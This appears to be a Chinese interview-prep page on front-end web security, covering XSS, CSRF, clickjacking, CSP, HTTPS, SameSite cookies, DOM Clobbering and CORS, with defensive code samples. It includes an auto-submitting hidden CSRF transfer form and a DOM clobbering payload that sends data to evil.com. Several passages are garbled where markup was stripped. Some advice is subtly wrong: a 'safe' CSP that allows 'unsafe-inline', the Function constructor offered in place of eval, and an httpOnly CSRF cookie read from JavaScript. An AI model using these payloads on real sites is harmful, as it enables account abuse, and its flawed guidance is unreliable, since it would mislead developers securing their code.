首页 | XSS攻击 CSRF攻击 点击劫持 HTTP劫持 CSP策略 HTTPS原理 SameSite Cookie DOM Clobbering JSONP与CORS

前端面试题网络安全|全面解析常见考点、攻击原理与防御策略

系统梳理前端开发岗位中高频出现的网络安全知识点,覆盖XSS、CSRF、点击劫持、HTTP劫持、CSP策略、SameSite Cookie、HTTPS加密原理、DOM Clobbering等核心议题,结合真实攻击场景与防御代码示例,助你构建完整的安全知识体系。

前端安全为何成为面试高频考点?

在现代Web应用中,前端代码直接暴露于用户浏览器环境,是攻击者实施客户端攻击的第一线。随着SPA(单页应用)、微前端架构的普及,前端承担了更多逻辑控制、数据处理与路由管理职责,安全风险显著增加。据OWASP《2023年Web应用安全风险Top 10》统计,XSS与CSRF仍居前列,且新增DOM-based XSS占比上升至37%。

企业招聘中,中高级前端工程师岗位普遍要求掌握基础安全防护知识。例如:

  • 字节跳动:要求“熟悉常见Web安全漏洞及防御机制,能编写安全编码规范”
  • 腾讯:在技术终面中常问“如何防止用户提交的富文本内容被注入恶意脚本?”
  • 阿里:考察“在动态插入DOM时,如何避免DOM Clobbering攻击?”

本页面将从攻击原理、典型场景、防御方案、代码示例、面试高频问题五个维度,逐层深入解析前端安全核心知识,确保你不仅“知道”,更能“讲清”、“写出”、“用好”。

网友们还关心

Q:前端安全知识是否只适用于大厂?小公司开发中需要关注吗?

A:小公司更需警惕!因安全投入有限,攻击者常将小企业网站作为跳板。2023年某初创公司因未过滤用户评论中的)做编码处理,通过history.pushState注入脚本,在路由切换时触发。

2024年
富文本编辑器XSS

用户在富文本中上传SVG图片,其内部含,浏览器加载SVG时执行脚本。即使服务端过滤HTML标签,SVG仍可绕过。

防御三原则

① 输入过滤:对用户输入进行HTML实体编码;
② 输出编码:根据上下文选择编码方式(HTML上下文用<,JS上下文用\u003C);
③ 策略兜底:启用CSP策略限制脚本来源。

安全编码示例

// ❌ 危险:innerHTML直接解析HTML
document.getElementById('comment').innerHTML = userInput;
// ✅ 安全:使用textContent或innerText
document.getElementById('comment').textContent = userInput;
// ✅ 安全:使用DOM API动态创建元素
const div = document.createElement('div');
div.textContent = userInput; // 自动转义
document.getElementById('comment').appendChild(div);
// ✅ 富文本场景:使用DOMPurify库
const clean = DOMPurify.sanitize(dirtyInput, { ALLOWED_TAGS: ['b', 'i', 'u'] });
container.innerHTML = clean;
面试加分点:说明“innerHTML与outerHTML的区别”——前者仅替换子节点,后者替换整个元素,后者更危险(可能移除当前脚本上下文)。在Vue/React中,v-html与dangerouslySetInnerHTML同理需谨慎。

CSRF攻击:跨站请求伪造

CSRF(Cross-Site Request Forgery)指攻击者诱导用户访问恶意页面,利用用户已登录的Cookie向目标站点发起非预期请求(如转账、修改密码)。关键点在于:请求是“用户主动发起”,但用户不知情。

与XSS区别:XSS是“脚本执行”,CSRF是“请求伪造”;XSS需注入脚本,CSRF利用浏览器自动携带Cookie机制。

场景1:GET型CSRF

攻击页面含,用户访问该页面时,浏览器自动发送GET请求,携带银行Cookie,完成转账。

场景2:POST型CSRF

攻击页面自动提交隐藏表单:

<form action="https://bank.com/transfer" method="POST" id="csrf-form">
  <input type="hidden" name="to" value="attacker">
  <input type="hidden" name="amount" value="1000">
</form>
<script>document.getElementById('csrf-form').submit()</script>

Anti-CSRF Token

服务端生成随机Token,放入表单与Cookie,提交时比对Token。前端需在请求头中携带X-CSRF-Token。

SameSite Cookie属性

设置Cookie为Strict/Lax模式,禁止跨站请求携带Cookie(详见SameSite章节)。

双重Cookie验证

要求请求同时携带Cookie与自定义Header(如X-Request-With: XMLHttpRequest),攻击者无法修改Header。

安全编码示例

// ✅ 服务端生成Token并写入Cookie
res.cookie('csrf_token', generateRandomToken(), {
  httpOnly: true,
  sameSite: 'Strict'
});
// ✅ 前端请求时携带Token
fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'X-CSRF-Token': getCookie('csrf_token')
  },
  body: JSON.stringify({ to: 'friend', amount: 100 })
});
// ✅ Vue/React中自动注入Token
axios.interceptors.request.use(config => {
  config.headers['X-CSRF-Token'] = getCookie('csrf_token');
  return config;
});

点击劫持:诱导用户点击隐藏元素

攻击者通过CSS将目标网站(如银行转账页)以透明iframe覆盖在恶意页面上,诱导用户点击“免费领取奖品”按钮,实际点击的是隐藏的转账按钮。

防御核心:使用X-Frame-Options或CSP的frame-ancestors指令限制页面被嵌套。

// ✅ 服务端响应头设置
X-Frame-Options: DENY  // 禁止嵌套
X-Frame-Options: SAMEORIGIN  // 仅同源可嵌套
Content-Security-Policy: frame-ancestors 'self';
面试陷阱:X-Frame-Options已被CSP的frame-ancestors替代,后者更灵活(支持多个域名)。若面试官问“如何允许嵌套特定子域?”,答“frame-ancestors https://*.example.com”。

HTTP劫持:中间人攻击(MITM)

在非HTTPS连接下,攻击者(如公共Wi-Fi)可篡改HTTP响应,注入广告、窃取数据或植入恶意脚本。例如:用户访问某博客,页面底部被插入“扫码领红包”JS脚本。

2020年
运营商DNS劫持

用户访问www.example.com,DNS被污染返回广告商IP,页面加载后注入弹窗代码。

2023年
HTTP代理劫持

Chrome扩展“免费VPN”在HTTP流量中插入跟踪脚本,收集用户浏览历史。

强制HTTPS

服务端配置HSTS(Strict-Transport-Security):响应头设为Strict-Transport-Security: max-age=31536000; includeSubDomains,浏览器强制使用HTTPS访问。

HTTPS证书校验

前端使用Certificate Pinning(如Android/iOS),Web端通过Expect-CT头部(已弃用)或HSTS+证书透明日志监控异常证书。

禁止HTTP资源

页面内所有资源(JS/CSS/图片)必须使用HTTPS链接,避免“混合内容”警告。

实践建议:开发时开启“DevTools > Network > Disable cache”,检查是否有HTTP资源请求;生产环境部署后,用curl -I https://example.com验证HSTS头是否生效。

内容安全策略(CSP):最后一道防线

CSP通过HTTP响应头定义“允许加载哪些资源”,从源头阻断XSS/注入攻击。核心指令包括:

  • default-src:默认资源加载策略
  • script-src:脚本加载限制(禁止eval、inline script)
  • img-src:图片加载来源
  • frame-ancestors:防止点击劫持

若未禁止inline script,攻击者可注入onclick="..."触发脚本;若允许'unsafe-eval',则eval()可能执行恶意代码。

// ✅ 安全的CSP配置(示例)
Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'unsafe-inline' https://cdn.example.com;
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  font-src 'self' https://fonts.googleapis.com;
  frame-ancestors 'self';
  base-uri 'self';
  form-action 'self';

关键说明:

  • 'unsafe-inline':仅在无法移除inline script时临时使用(如旧版jQuery)
  • data::允许Base64图片,但需谨慎(可被用于隐藏恶意脚本)
  • 避免使用'unsafe-eval',改用Function构造器或JSON.parse

启用report-uri或report-to收集违规报告,及时发现XSS攻击尝试:

Content-Security-Policy: default-src 'self'; report-uri /csp-report-endpoint;

前端可监听securitypolicyviolation事件:

document.addEventListener('securitypolicyviolation', (e) => {
  console.log('CSP Violation:', e);
  // 上报至监控系统
  navigator.sendBeacon('/api/csp-violation', JSON.stringify({
    blockedURI: e.blockedURI,
    violatedDirective: e.violatedDirective
  }));
});

HTTPS加密:不只是锁图标

HTTPS = HTTP + TLS/SSL,实现三重安全:

加密传输

对称加密(AES)保护数据内容,非对称加密(RSA)交换密钥。

身份验证

CA机构签发证书,浏览器验证证书链(根证书→中间证书→服务器证书)。

完整性校验

MAC(消息认证码)防止数据被篡改。

前端常见误区:

  • “HTTPS完全防XSS” → 错!XSS在客户端执行,与传输层无关
  • “自签名证书安全” → 错!浏览器会警告,用户可能忽略
实战建议:部署HTTPS后,检查chrome://net-internals/#hsts是否添加域名至HSTS列表;使用ssltest工具(如Qualys SSL Labs)检测配置强度。

SameSite Cookie:从源头防御CSRF

SameSite属性控制Cookie是否随跨站请求发送:

Strict

仅同站请求携带Cookie(如从a.com跳转到b.com的请求不携带)。

Lax

允许GET导航请求携带Cookie(如点击链接跳转),但禁止POST/iframe请求。

None

必须配合Secure属性(仅HTTPS发送),允许跨站请求携带Cookie。

服务端配置示例:

// ✅ Node.js (Express)
res.cookie('session', token, {
  httpOnly: true,
  secure: true,
  sameSite: 'Lax'  // 推荐默认值
});
// ✅ Java (Spring Security)
.setHeader("Set-Cookie", "JSESSIONID=xxx; HttpOnly; Secure; SameSite=Lax");
// ✅ PHP
setcookie("session", $token, [
  'secure' => true,
  'httponly' => true,
  'samesite' => 'Lax'
]);
兼容性注意:IE/Edge旧版本不支持SameSite,需结合Anti-CSRF Token兜底;移动端WebView可能忽略该属性,建议服务端双重验证。

DOM Clobbering:利用DOM特性覆盖JS变量

浏览器允许通过HTML注释或id属性覆盖全局变量。例如:

<!-- 恶意HTML注入 -->
<a id="config">
<img id="apiUrl" src="http://evil.com?x=">

若前端代码使用var config = window.config || {};,则config被覆盖为HTMLAnchorElement;若使用fetch(window.apiUrl),则apiUrl被劫持为图片标签,导致请求发送至攻击者服务器。

典型场景:富文本编辑器、用户生成内容(UGC)页面、动态路由参数未转义。

防御要点

  • 避免使用全局变量存储配置(改用模块化作用域)
  • 对DOM操作前进行类型检查:if (typeof window.config === 'object')
  • 使用document.querySelector('#config')而非document.getElementById('config')(后者返回元素而非DOM属性)
  • 在Vue/React中,避免直接操作DOM,改用框架数据绑定
// ✅ 安全读取配置
const config = JSON.parse(localStorage.getItem('config') || '{}');
// ✅ 防御DOM Clobbering
const apiUrl = document.getElementById('apiUrl');
const safeUrl = apiUrl && apiUrl.tagName === 'IMG'
  ? apiUrl.src
  : '/api/default';

JSONP与CORS:跨域安全边界

JSONP原理:利用)

  • 数据暴露在JS作用域,易被XSS窃取
  • 现代替代方案:优先使用CORS + fetch/Axios;若必须JSONP,服务端严格校验callback名(仅允许字母数字下划线)。

    CORS安全配置:

    • Access-Control-Allow-Origin:禁止返回*(除非公开API)
    • Access-Control-Allow-Credentials:仅当需要Cookie时设为true
    • 预检请求(OPTIONS)需验证Origin来源
    // ✅ 安全的CORS响应头
    Access-Control-Allow-Origin: https://trusted.example.com
    Access-Control-Allow-Methods: GET, POST, OPTIONS
    Access-Control-Allow-Headers: X-Custom-Header
    Access-Control-Allow-Credentials: true

    前端注意事项:

    • 使用fetch(url, { credentials: 'include' })发送Cookie
    • 避免在请求中暴露敏感信息(如token放在URL参数)

    JSONP易被CSRF利用!因